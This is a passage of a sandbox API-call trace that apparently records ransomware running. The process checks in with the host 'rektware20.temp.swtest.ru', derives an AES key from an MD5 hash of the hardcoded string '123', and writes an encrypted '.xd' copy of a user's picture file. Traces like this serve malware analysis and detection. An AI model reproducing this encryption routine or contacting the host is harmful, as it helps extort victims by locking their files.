dwBufferLength=0x8) returned 1 [0061.280] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.280] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0061.280] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.281] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.281] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.281] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.281] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.281] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.281] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.281] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.281] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.282] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.282] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.282] CloseHandle (hObject=0x0) returned 0 [0061.282] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.282] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.282] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.282] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.282] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.282] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.282] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.282] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.282] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.283] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.283] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.283] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.283] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.283] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.283] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.283] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.283] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.284] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.284] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa2b8) returned 1 [0061.284] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.284] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.284] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.284] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.284] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.284] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.285] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.285] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.285] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.285] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.285] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.285] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.285] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.285] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.285] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.285] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.286] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.286] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.286] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.286] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.286] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.286] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.288] CryptCreateHash (in: hProv=0x17aa2b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.288] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.288] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.289] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.289] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.289] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.289] CryptHashData (hHash=0x164c330, pbData=0x1629380, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.289] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.289] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.289] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.289] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.289] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.290] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.290] CryptDeriveKey (in: hProv=0x17aa2b8, Algid=0x6610, hBaseData=0x164c330, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8b0) returned 1 [0061.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.291] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.291] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.291] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.291] CryptDestroyHash (hHash=0x164c330) returned 1 [0061.291] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\1tudgxnjipbzfku-u\\rxm-gv.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.291] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.291] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.291] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\1tudgxnjipbzfku-u")) returned 0x10 [0061.292] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\1tudgxnjipbzfku-u\\rxm-gv.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.292] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.292] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.292] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.294] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.294] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.296] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6384, lpOverlapped=0x0) returned 1 [0061.297] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.301] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: 